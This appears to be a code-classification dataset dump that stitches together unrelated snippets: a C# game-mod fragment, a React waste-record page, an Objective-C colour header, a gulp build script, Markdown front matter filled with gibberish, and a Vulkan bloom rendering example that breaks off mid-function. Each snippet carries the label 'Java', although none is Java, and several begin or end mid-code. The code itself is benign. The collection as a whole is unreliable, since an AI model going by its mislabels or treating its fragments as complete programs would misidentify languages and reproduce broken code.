Vector3 OriginalPosition = VesselToSave.vesselTransform.position;
VesselToSave.SetRotation(new Quaternion(0, 0, 0, 1));
Vector3 ShipSize = ShipConstruction.CalculateCraftSize(ConstructToSave);
VesselToSave.SetPosition(new Vector3(0, ShipSize.y + 2, 0));
ConfigNode CN = new ConfigNode("ShipConstruct");
CN = ConstructToSave.SaveShip();
VesselToSave.SetRotation(OriginalRotation);
VesselToSave.SetPosition(OriginalPosition);
string filename = UrlDir.ApplicationRootPath + "GameData/FlightEdit/temp.craft";
CN.Save(filename);
return filename;
}
}
} | Java |
import React from 'react';
import Helmet from 'react-helmet';
import { Route } from '../../core/router';
import { Model as Waste } from '../../entities/Waste';
import { Deferred } from '../../util/utils';
import NavLink from '../../components/NavLink';
import Progress from 'react-progress-2';
import { PageHeader, Row, Col, Panel, Label } from 'react-bootstrap';
import radio from 'backbone.radio';
const router = radio.channel('router');
export default class WasteShowRoute extends Route {
breadcrumb({ params }) {
const dfd = new Deferred;
const waste = new Waste({ fid: params.wfid });
waste.forSubjectParam(params.fid);
waste.fetch({ success: m => dfd.resolve(m.get('title')) });
return dfd.promise;
}
fetch({ params }) {
this.companyFid = params.fid;
this.waste = new Waste({ fid: params.wfid });
this.waste.forSubjectParam(params.fid).expandParam('subtype');
return this.waste.fetch();
}
render() {
const waste = this.waste.toJSON();
return (
<div>
<Helmet title={waste.title} />
<PageHeader>{waste.title}</PageHeader>
<Row>
<Col md={12}>
<ul className="nav menu-nav-pills">
<li>
<NavLink
to={`/companies/${this.companyFid}/waste/${waste.fid}/edit`}
>
<i className="fa fa-pencil-square-o" /> Редактировать
</NavLink>
</li>
<li>
<a
href="javascript:;"
onClick={() => {
Progress.show();
this.waste.destroy({
success: () => {
Progress.hide();
router.request('navigate', `companies/${this.companyFid}`);
},
});
}}
>
<i className="fa fa-ban" aria-hidden="true" /> Удалить
</a>
</li>
</ul>
</Col>
</Row>
<Row>
<Col md={12}>
<Panel>
<h4><Label>Название</Label>{' '}
{waste.title}
</h4>
<h4><Label>Вид отходов</Label>{' '}
<NavLink to={`/waste-types/${waste.subtype.fid}`}>{waste.subtype.title}</NavLink>
</h4>
<h4><Label>Количество</Label>{' '}
{waste.amount} т
</h4>
</Panel>
</Col>
</Row>
</div>
);
}
}
| Java |
//
// JMColor.h
// JMChartView
//
// Created by chengjiaming on 15/3/26.
// Copyright (c) 2015年 chengjiaming. All rights reserved.
//
#import <UIKit/UIKit.h>
/**
* 主色系
*/
#define JMBlue [UIColor colorWithRed:38 / 255.0 green:173 / 255.0 blue:223 / 255.0 alpha:1]
/**
* 背景色
*/
#define JMCloudWhite [UIColor colorWithRed:38 / 255.0 green:173 / 255.0 blue:223 / 255.0 alpha:1]
//范围
struct Range {
CGFloat max;
CGFloat min;
};
typedef struct Range JMRange;
CG_INLINE JMRange JMRangeMake(CGFloat max, CGFloat min);
CG_INLINE JMRange
JMRangeMake(CGFloat max, CGFloat min){
JMRange p;
p.max = max;
p.min = min;
return p;
}
static const JMRange JMRangeZero = {0,0};
@interface JMColor : NSObject
@end
| Java |
var basePaths = {
src: 'public/',
dest: 'public.dist/',
bower: 'bower_components/'
};
var paths = {
images: {
src: basePaths.src + 'images/',
dest: basePaths.dest + 'images/min/'
},
scripts: {
src: basePaths.src + 'scripts/',
dest: basePaths.dest + 'scripts/min/'
},
styles: {
src: basePaths.src + 'styles/',
dest: basePaths.dest + 'styles/min/'
},
sprite: {
src: basePaths.src + 'sprite/*'
}
};
var appFiles = {
styles: paths.styles.src + '**/*.scss',
scripts: [paths.scripts.src + 'scripts.js']
};
var vendorFiles = {
styles: '',
scripts: ''
};
var spriteConfig = {
imgName: 'sprite.png',
cssName: '_sprite.scss',
imgPath: paths.images.dest.replace('public', '') + 'sprite.png'
};
// let the magic begin
var gulp = require('gulp');
var es = require('event-stream');
var gutil = require('gulp-util');
var autoprefixer = require('gulp-autoprefixer');
var plugins = require("gulp-load-plugins")({
pattern: ['gulp-*', 'gulp.*'],
replaceString: /\bgulp[\-.]/
});
// allows gulp --dev to be run for a more verbose output
var isProduction = true;
var sassStyle = 'compressed';
var sourceMap = false;
if (gutil.env.dev === true) {
sassStyle = 'expanded';
sourceMap = true;
isProduction = false;
}
var changeEvent = function(evt) {
gutil.log('File', gutil.colors.cyan(evt.path.replace(new RegExp('/.*(?=/' + basePaths.src + ')/'), '')), 'was', gutil.colors.magenta(evt.type));
};
gulp.task('css', function() {
var sassFiles = gulp.src(appFiles.styles)
/*
.pipe(plugins.rubySass({
style: sassStyle, sourcemap: sourceMap, precision: 2
}))
*/
.pipe(plugins.sass())
.on('error', function(err) {
new gutil.PluginError('CSS', err, {showStack: true});
});
return es.concat(gulp.src(vendorFiles.styles), sassFiles)
.pipe(plugins.concat('style.min.css'))
.pipe(autoprefixer('last 2 version', 'safari 5', 'ie 8', 'ie 9', 'opera 12.1', 'ios 6', 'android 4', 'Firefox >= 4'))
/*
.pipe(isProduction ? plugins.combineMediaQueries({
log: true
}) : gutil.noop())
*/
.pipe(isProduction ? plugins.cssmin() : gutil.noop())
.pipe(plugins.size())
.pipe(gulp.dest(paths.styles.dest))
;
});
gulp.task('scripts', function() {
gulp.src(vendorFiles.scripts.concat(appFiles.scripts))
.pipe(plugins.concat('app.js'))
.pipe(isProduction ? plugins.uglify() : gutil.noop())
.pipe(plugins.size())
.pipe(gulp.dest(paths.scripts.dest))
;
});
// sprite generator
gulp.task('sprite', function() {
var spriteData = gulp.src(paths.sprite.src).pipe(plugins.spritesmith({
imgName: spriteConfig.imgName,
cssName: spriteConfig.cssName,
imgPath: spriteConfig.imgPath,
cssOpts: {
functions: false
},
cssVarMap: function (sprite) {
sprite.name = 'sprite-' + sprite.name;
}
}));
spriteData.img.pipe(gulp.dest(paths.images.dest));
spriteData.css.pipe(gulp.dest(paths.styles.src));
});
gulp.task('watch', ['sprite', 'css', 'scripts'], function() {
gulp.watch(appFiles.styles, ['css']).on('change', function(evt) {
changeEvent(evt);
});
gulp.watch(paths.scripts.src + '*.js', ['scripts']).on('change', function(evt) {
changeEvent(evt);
});
gulp.watch(paths.sprite.src, ['sprite']).on('change', function(evt) {
changeEvent(evt);
});
});
gulp.task('default', ['css', 'scripts']); | Java |
---
title: ajz21
type: products
image: /img/Screen Shot 2017-05-09 at 11.56.54 AM.png
heading: z21
description: lksadjf lkasdjf lksajdf lksdaj flksadj flksa fdj
main:
heading: Foo Bar BAz
description: |-
***This is i a thing***kjh hjk kj
# Blah Blah
## Blah
### Baah
image1:
alt: kkkk
---
| Java |
/*
* Vulkan Example - Implements a separable two-pass fullscreen blur (also known as bloom)
*
* Copyright (C) 2016 by Sascha Willems - www.saschawillems.de
*
* This code is licensed under the MIT license (MIT) (http://opensource.org/licenses/MIT)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <vector>
#define GLM_FORCE_RADIANS
#define GLM_FORCE_DEPTH_ZERO_TO_ONE
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <vulkan/vulkan.h>
#include "vulkanexamplebase.h"
#define VERTEX_BUFFER_BIND_ID 0
#define ENABLE_VALIDATION false
// Offscreen frame buffer properties
#define FB_DIM 256
#define FB_COLOR_FORMAT VK_FORMAT_R8G8B8A8_UNORM
// Vertex layout for this example
std::vector<vkMeshLoader::VertexLayout> vertexLayout =
{
vkMeshLoader::VERTEX_LAYOUT_POSITION,
vkMeshLoader::VERTEX_LAYOUT_UV,
vkMeshLoader::VERTEX_LAYOUT_COLOR,
vkMeshLoader::VERTEX_LAYOUT_NORMAL
};
class VulkanExample : public VulkanExampleBase
{
public:
bool bloom = true;
struct {
vkTools::VulkanTexture cubemap;
} textures;
struct {
vkMeshLoader::MeshBuffer ufo;
vkMeshLoader::MeshBuffer ufoGlow;
vkMeshLoader::MeshBuffer skyBox;
vkMeshLoader::MeshBuffer quad;
} meshes;
struct {
VkPipelineVertexInputStateCreateInfo inputState;
std::vector<VkVertexInputBindingDescription> bindingDescriptions;
std::vector<VkVertexInputAttributeDescription> attributeDescriptions;
} vertices;
struct {
vkTools::UniformData vsScene;
vkTools::UniformData vsFullScreen;
vkTools::UniformData vsSkyBox;
vkTools::UniformData fsVertBlur;
vkTools::UniformData fsHorzBlur;
} uniformData;
struct UBO {
glm::mat4 projection;
glm::mat4 model;
};
struct UBOBlur {
float blurScale = 1.0f;
float blurStrength = 1.5f;
uint32_t horizontal;
};
struct {
UBO scene, fullscreen, skyBox;
UBOBlur vertBlur, horzBlur;
} ubos;
struct {
VkPipeline blurVert;
VkPipeline blurHorz;
VkPipeline glowPass;
VkPipeline phongPass;
VkPipeline skyBox;
} pipelines;
// Pipeline layout is shared amongst all descriptor sets
VkPipelineLayout pipelineLayout;
struct {
VkDescriptorSet scene;
VkDescriptorSet verticalBlur;
VkDescriptorSet horizontalBlur;
VkDescriptorSet skyBox;
} descriptorSets;
// Descriptor set layout is shared amongst all descriptor sets
VkDescriptorSetLayout descriptorSetLayout;
// Framebuffer for offscreen rendering
struct FrameBufferAttachment {
VkImage image;
VkDeviceMemory mem;
VkImageView view;
};
struct FrameBuffer {
VkFramebuffer framebuffer;
FrameBufferAttachment color, depth;
VkDescriptorImageInfo descriptor;
};
struct OffscreenPass {
int32_t width, height;
VkRenderPass renderPass;
VkSampler sampler;
VkCommandBuffer commandBuffer = VK_NULL_HANDLE;
// Semaphore used to synchronize between offscreen and final scene rendering
VkSemaphore semaphore = VK_NULL_HANDLE;
std::array<FrameBuffer, 2> framebuffers;
} offscreenPass;
VulkanExample() : VulkanExampleBase(ENABLE_VALIDATION)
{
zoom = -10.25f;
rotation = { 7.5f, -343.0f, 0.0f };
timerSpeed *= 0.5f;
enableTextOverlay = true;
title = "Vulkan Example - Bloom";
}
~VulkanExample()
{
// Clean up used Vulkan resources
// Note : Inherited destructor cleans up resources stored in base class
vkDestroySampler(device, offscreenPass.sampler, nullptr);
// Frame buffer
for (auto& framebuffer : offscreenPass.framebuffers)
{
// Attachments
vkDestroyImageView(device, framebuffer.color.view, nullptr);
vkDestroyImage(device, framebuffer.color.image, nullptr);
vkFreeMemory(device, framebuffer.color.mem, nullptr);
vkDestroyImageView(device, framebuffer.depth.view, nullptr);
vkDestroyImage(device, framebuffer.depth.image, nullptr);
vkFreeMemory(device, framebuffer.depth.mem, nullptr);
vkDestroyFramebuffer(device, framebuffer.framebuffer, nullptr);
}
vkDestroyRenderPass(device, offscreenPass.renderPass, nullptr);
vkFreeCommandBuffers(device, cmdPool, 1, &offscreenPass.commandBuffer);
vkDestroySemaphore(device, offscreenPass.semaphore, nullptr);
vkDestroyPipeline(device, pipelines.blurHorz, nullptr);
vkDestroyPipeline(device, pipelines.blurVert, nullptr);
vkDestroyPipeline(device, pipelines.phongPass, nullptr);
vkDestroyPipeline(device, pipelines.glowPass, nullptr);
vkDestroyPipeline(device, pipelines.skyBox, nullptr);
vkDestroyPipelineLayout(device, pipelineLayout, nullptr);
vkDestroyDescriptorSetLayout(device, descriptorSetLayout, nullptr);
// Meshes
vkMeshLoader::freeMeshBufferResources(device, &meshes.ufo);
vkMeshLoader::freeMeshBufferResources(device, &meshes.ufoGlow);
vkMeshLoader::freeMeshBufferResources(device, &meshes.skyBox);
vkMeshLoader::freeMeshBufferResources(device, &meshes.quad);
// Uniform buffers
vkTools::destroyUniformData(device, &uniformData.vsScene);
vkTools::destroyUniformData(device, &uniformData.vsFullScreen);
vkTools::destroyUniformData(device, &uniformData.vsSkyBox);
vkTools::destroyUniformData(device, &uniformData.fsVertBlur);
vkTools::destroyUniformData(device, &uniformData.fsHorzBlur);
textureLoader->destroyTexture(textures.cubemap);
}
// Setup the offscreen framebuffer for rendering the mirrored scene
// The color attachment of this framebuffer will then be sampled from
void prepareOffscreenFramebuffer(FrameBuffer *frameBuf, VkFormat colorFormat, VkFormat depthFormat)
{
// Color attachment
VkImageCreateInfo image = vkTools::initializers::imageCreateInfo();
image.imageType = VK_IMAGE_TYPE_2D;
image.format = colorFormat;
image.extent.width = FB_DIM;
image.extent.height = FB_DIM;
image.extent.depth = 1;
image.mipLevels = 1;
image.arrayLayers = 1;
image.samples = VK_SAMPLE_COUNT_1_BIT;
image.tiling = VK_IMAGE_TILING_OPTIMAL;
// We will sample directly from the color attachment
image.usage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT | VK_IMAGE_USAGE_SAMPLED_BIT;
VkMemoryAllocateInfo memAlloc = vkTools::initializers::memoryAllocateInfo();
VkMemoryRequirements memReqs;
VkImageViewCreateInfo colorImageView = vkTools::initializers::imageViewCreateInfo();
colorImageView.viewType = VK_IMAGE_VIEW_TYPE_2D;
colorImageView.format = colorFormat;
colorImageView.flags = 0;
colorImageView.subresourceRange = {};
colorImageView.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
colorImageView.subresourceRange.baseMipLevel = 0;
colorImageView.subresourceRange.levelCount = 1;
colorImageView.subresourceRange.baseArrayLayer = 0;
colorImageView.subresourceRange.layerCount = 1;
VK_CHECK_RESULT(vkCreateImage(device, &image, nullptr, &frameBuf->color.image));
vkGetImageMemoryRequirements(device, frameBuf->color.image, &memReqs);
memAlloc.allocationSize = memReqs.size;
memAlloc.memoryTypeIndex = vulkanDevice->getMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT);
VK_CHECK_RESULT(vkAllocateMemory(device, &memAlloc, nullptr, &frameBuf->color.mem));
VK_CHECK_RESULT(vkBindImageMemory(device, frameBuf->color.image, frameBuf->color.mem, 0));
colorImageView.image = frameBuf->color.image;
VK_CHECK_RESULT(vkCreateImageView(device, &colorImageView, nullptr, &frameBuf->color.view));
// Depth stencil attachment
image.format = depthFormat;
image.usage = VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT;
VkImageViewCreateInfo depthStencilView = vkTools::initializers::imageViewCreateInfo();
depthStencilView.viewType = VK_IMAGE_VIEW_TYPE_2D;
depthStencilView.format = depthFormat;
depthStencilView.flags = 0;
depthStencilView.subresourceRange = {};
depthStencilView.subresourceRange.aspectMask = VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT;
depthStencilView.subresourceRange.baseMipLevel = 0;
depthStencilView.subresourceRange.levelCount = 1;
depthStencilView.subresourceRange.baseArrayLayer = 0;
depthStencilView.subresourceRange.layerCount = 1;
VK_CHECK_RESULT(vkCreateImage(device, &image, nullptr, &frameBuf->depth.image));
vkGetImageMemoryRequirements(device, frameBuf->depth.image, &memReqs);
memAlloc.allocationSize = memReqs.size;
memAlloc.memoryTypeIndex = vulkanDevice->getMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT);
VK_CHECK_RESULT(vkAllocateMemory(device, &memAlloc, nullptr, &frameBuf->depth.mem));
VK_CHECK_RESULT(vkBindImageMemory(device, frameBuf->depth.image, frameBuf->depth.mem, 0));
depthStencilView.image = frameBuf->depth.image;
VK_CHECK_RESULT(vkCreateImageView(device, &depthStencilView, nullptr, &frameBuf->depth.view));
VkImageView attachments[2];
attachments[0] = frameBuf->color.view;
attachments[1] = frameBuf->depth.view;
VkFramebufferCreateInfo fbufCreateInfo = vkTools::initializers::framebufferCreateInfo();
fbufCreateInfo.renderPass = offscreenPass.renderPass;
fbufCreateInfo.attachmentCount = 2;
fbufCreateInfo.pAttachments = attachments;
fbufCreateInfo.width = FB_DIM;
fbufCreateInfo.height = FB_DIM;
fbufCreateInfo.layers = 1;
VK_CHECK_RESULT(vkCreateFramebuffer(device, &fbufCreateInfo, nullptr, &frameBuf->framebuffer));
// Fill a descriptor for later use in a descriptor set
frameBuf->descriptor.imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
frameBuf->descriptor.imageView = frameBuf->color.view;
frameBuf->descriptor.sampler = offscreenPass.sampler;
}
// Prepare the offscreen framebuffers used for the vertical- and horizontal blur
void prepareOffscreen()
{
offscreenPass.width = FB_DIM;
offscreenPass.height = FB_DIM;
// Find a suitable depth format
VkFormat fbDepthFormat;
VkBool32 validDepthFormat = vkTools::getSupportedDepthFormat(physicalDevice, &fbDepthFormat);
assert(validDepthFormat);
// Create a separate render pass for the offscreen rendering as it may differ from the one used for scene rendering
std::array<VkAttachmentDescription, 2> attchmentDescriptions = {};
// Color attachment
attchmentDescriptions[0].format = FB_COLOR_FORMAT;
attchmentDescriptions[0].samples = VK_SAMPLE_COUNT_1_BIT;
attchmentDescriptions[0].loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR;
attchmentDescriptions[0].storeOp = VK_ATTACHMENT_STORE_OP_STORE;
attchmentDescriptions[0].stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE;
attchmentDescriptions[0].stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[0].initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
attchmentDescriptions[0].finalLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
// Depth attachment
attchmentDescriptions[1].format = fbDepthFormat;
attchmentDescriptions[1].samples = VK_SAMPLE_COUNT_1_BIT;
attchmentDescriptions[1].loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR;
attchmentDescriptions[1].storeOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[1].stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE;
attchmentDescriptions[1].stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[1].initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
attchmentDescriptions[1].finalLayout = VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL;
VkAttachmentReference colorReference = { 0, VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL };
VkAttachmentReference depthReference = { 1, VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL };
VkSubpassDescription subpassDescription = {};
subpassDescription.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS;
subpassDescription.colorAttachmentCount = 1;
subpassDescription.pColorAttachments = &colorReference;
subpassDescription.pDepthStencilAttachment = &depthReference;
// Use subpass dependencies for layout transitions
std::array<VkSubpassDependency, 2> dependencies;
dependencies[0].srcSubpass = VK_SUBPASS_EXTERNAL;
dependencies[0].dstSubpass = 0;
dependencies[0].srcStageMask = VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT;
dependencies[0].dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT;
dependencies[0].srcAccessMask = VK_ACCESS_MEMORY_READ_BIT;
dependencies[0].dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_READ_BIT | VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
dependencies[0].dependencyFlags = VK_DEPENDENCY_BY_REGION_BIT;
dependencies[1].srcSubpass = 0;
dependencies[1].dstSubpass = VK_SUBPASS_EXTERNAL;
dependencies[1].srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT;
dependencies[1].dstStageMask = VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT;
dependencies[1].srcAccessMask = VK_ACCESS_COLOR_ATTACHMENT_READ_BIT | VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
dependencies[1].dstAccessMask = VK_ACCESS_MEMORY_READ_BIT;
dependencies[1].dependencyFlags = VK_DEPENDENCY_BY_REGION_BIT;
// Create the actual renderpass
VkRenderPassCreateInfo renderPassInfo = {};
renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO;
renderPassInfo.attachmentCount = static_cast<uint32_t>(attchmentDescriptions.size());
renderPassInfo.pAttachments = attchmentDescriptions.data();
renderPassInfo.subpassCount = 1;
renderPassInfo.pSubpasses = &subpassDescription;
renderPassInfo.dependencyCount = static_cast<uint32_t>(dependencies.size());
renderPassInfo.pDependencies = dependencies.data();
VK_CHECK_RESULT(vkCreateRenderPass(device, &renderPassInfo, nullptr, &offscreenPass.renderPass));
// Create sampler to sample from the color attachments
VkSamplerCreateInfo sampler = vkTools::initializers::samplerCreateInfo();
sampler.magFilter = VK_FILTER_LINEAR;
sampler.minFilter = VK_FILTER_LINEAR;
sampler.mipmapMode = VK_SAMPLER_MIPMAP_MODE_LINEAR;
sampler.addressModeU = VK_SAMPLER_ADDRESS_MODE_CLAMP_TO_EDGE;
sampler.addressModeV = sampler.addressModeU;
sampler.addressModeW = sampler.addressModeU;
sampler.mipLodBias = 0.0f;
sampler.maxAnisotropy = 0;
sampler.minLod = 0.0f;
sampler.maxLod = 1.0f;
sampler.borderColor = VK_BORDER_COLOR_FLOAT_OPAQUE_WHITE;
VK_CHECK_RESULT(vkCreateSampler(device, &sampler, nullptr, &offscreenPass.sampler));
// Create two frame buffers
prepareOffscreenFramebuffer(&offscreenPass.framebuffers[0], FB_COLOR_FORMAT, fbDepthFormat);
prepareOffscreenFramebuffer(&offscreenPass.framebuffers[1], FB_COLOR_FORMAT, fbDepthFormat);
}
// Sets up the command buffer that renders the scene to the offscreen frame buffer
// The blur method used in this example is multi pass and renders the vertical
// blur first and then the horizontal one.
// While it's possible to blur in one pass, this method is widely used as it
// requires far less samples to generate the blur
void buildOffscreenCommandBuffer()
{
if (offscreenPass.commandBuffer == VK_NULL_HANDLE)
{
offscreenPass.commandBuffer = VulkanExampleBase::createCommandBuffer(VK_COMMAND_BUFFER_LEVEL_PRIMARY, false);
}
if (offscreenPass.semaphore == VK_NULL_HANDLE)
{
VkSemaphoreCreateInfo semaphoreCreateInfo = vkTools::initializers::semaphoreCreateInfo();
VK_CHECK_RESULT(vkCreateSemaphore(device, &semaphoreCreateInfo, nullptr, &offscreenPass.semaphore));
}
VkCommandBufferBeginInfo cmdBufInfo = vkTools::initializers::commandBufferBeginInfo();
// First pass: Render glow parts of the model (separate mesh)
// -------------------------------------------------------------------------------------------------------
VkClearValue clearValues[2];
clearValues[0].color = { { 0.0f, 0.0f, 0.0f, 1.0f } };
clearValues[1].depthStencil = { 1.0f, 0 };
VkRenderPassBeginInfo renderPassBeginInfo = vkTools::initializers::renderPassBeginInfo();
renderPassBeginInfo.renderPass = offscreenPass.renderPass;
renderPassBeginInfo.framebuffer = offscreenPass.framebuffers[0].framebuffer;
renderPassBeginInfo.renderArea.extent.width = offscreenPass.width;
renderPassBeginInfo.renderArea.extent.height = offscreenPass.height;
renderPassBeginInfo.clearValueCount = 2;
renderPassBeginInfo.pClearValues = clearValues;
VK_CHECK_RESULT(vkBeginCommandBuffer(offscreenPass.commandBuffer, &cmdBufInfo));
VkViewport viewport = vkTools::initializers::viewport((float)offscreenPass.width, (float)offscreenPass.height, 0.0f, 1.0f);
vkCmdSetViewport(offscreenPass.commandBuffer, 0, 1, &viewport);
VkRect2D scissor = vkTools::initializers::rect2D(offscreenPass.width, offscreenPass.height, 0, 0);
vkCmdSetScissor(offscreenPass.commandBuffer, 0, 1, &scissor);
vkCmdBeginRenderPass(offscreenPass.commandBuffer, &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
vkCmdBindDescriptorSets(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.scene, 0, NULL);
vkCmdBindPipeline(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.glowPass);
VkDeviceSize offsets[1] = { 0 };
vkCmdBindVertexBuffers(offscreenPass.commandBuffer, VERTEX_BUFFER_BIND_ID, 1, &meshes.ufoGlow.vertices.buf, offsets);
vkCmdBindIndexBuffer(offscreenPass.commandBuffer, meshes.ufoGlow.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(offscreenPass.commandBuffer, meshes.ufoGlow.indexCount, 1, 0, 0, 0);
vkCmdEndRenderPass(offscreenPass.commandBuffer);
// Second pass: Render contents of the first pass into second framebuffer and apply a vertical blur
// This is the first blur pass, the horizontal blur is applied when rendering on top of the scene
// -------------------------------------------------------------------------------------------------------
renderPassBeginInfo.framebuffer = offscreenPass.framebuffers[1].framebuffer;
vkCmdBeginRenderPass(offscreenPass.commandBuffer, &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
// Draw horizontally blurred texture
vkCmdBindDescriptorSets(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.verticalBlur, 0, NULL);
vkCmdBindPipeline(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.blurVert);
vkCmdBindVertexBuffers(offscreenPass.commandBuffer, VERTEX_BUFFER_BIND_ID, 1, &meshes.quad.vertices.buf, offsets);
vkCmdBindIndexBuffer(offscreenPass.commandBuffer, meshes.quad.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(offscreenPass.commandBuffer, meshes.quad.indexCount, 1, 0, 0, 0);
vkCmdEndRenderPass(offscreenPass.commandBuffer);
VK_CHECK_RESULT(vkEndCommandBuffer(offscreenPass.commandBuffer));
}
void reBuildCommandBuffers()
{
if (!checkCommandBuffers())
{
destroyCommandBuffers();
createCommandBuffers();
}
buildCommandBuffers();
}
void buildCommandBuffers()
{
VkCommandBufferBeginInfo cmdBufInfo = vkTools::initializers::commandBufferBeginInfo();
VkClearValue clearValues[2];
clearValues[0].color = defaultClearColor;
clearValues[1].depthStencil = { 1.0f, 0 };
VkRenderPassBeginInfo renderPassBeginInfo = vkTools::initializers::renderPassBeginInfo();
renderPassBeginInfo.renderPass = renderPass;
renderPassBeginInfo.renderArea.offset.x = 0;
renderPassBeginInfo.renderArea.offset.y = 0;
renderPassBeginInfo.renderArea.extent.width = width;
renderPassBeginInfo.renderArea.extent.height = height;
renderPassBeginInfo.clearValueCount = 2;
renderPassBeginInfo.pClearValues = clearValues;
for (int32_t i = 0; i < drawCmdBuffers.size(); ++i)
{
// Set target frame buffer
renderPassBeginInfo.framebuffer = frameBuffers[i];
VK_CHECK_RESULT(vkBeginCommandBuffer(drawCmdBuffers[i], &cmdBufInfo));
vkCmdBeginRenderPass(drawCmdBuffers[i], &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
VkViewport viewport = vkTools::initializers::viewport((float)width, (float)height, 0.0f, 1.0f);
vkCmdSetViewport(drawCmdBuffers[i], 0, 1, &viewport);
VkRect2D scissor = vkTools::initializers::rect2D(width, height, 0, 0);
vkCmdSetScissor(drawCmdBuffers[i], 0, 1, &scissor);
VkDeviceSize offsets[1] = { 0 };
// Skybox
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.skyBox, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.skyBox);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.skyBox.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.skyBox.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.skyBox.indexCount, 1, 0, 0, 0);
// 3D scene
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.scene, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.phongPass);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.ufo.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.ufo.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.ufo.indexCount, 1, 0, 0, 0);
// Render vertical blurred scene applying a horizontal blur
// Render the (vertically blurred) contents of the second framebuffer and apply a horizontal blur
// -------------------------------------------------------------------------------------------------------
if (bloom)
{
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.horizontalBlur, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.blurHorz);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.quad.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.quad.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.quad.indexCount, 1, 0, 0, 0);
}
vkCmdEndRenderPass(drawCmdBuffers[i]);
VK_CHECK_RESULT(vkEndCommandBuffer(drawCmdBuffers[i]));
}
if (bloom)
{
buildOffscreenCommandBuffer();
}
}
void loadAssets()
{
loadMesh(getAssetPath() + "models/retroufo.dae", &meshes.ufo, vertexLayout, 0.05f);
loadMesh(getAssetPath() + "models/retroufo_glow.dae", &meshes.ufoGlow, vertexLayout, 0.05f);
loadMesh(getAssetPath() + "models/cube.obj", &meshes.skyBox, vertexLayout, 1.0f);
textureLoader->loadCubemap(getAssetPath() + "textures/cubemap_space.ktx", VK_FORMAT_R8G8B8A8_UNORM, &textures.cubemap);
}
// Setup vertices for a single uv-mapped quad
void generateQuad()
{
struct Vertex {
float pos[3];
float uv[2];
float col[3];
float normal[3];
};
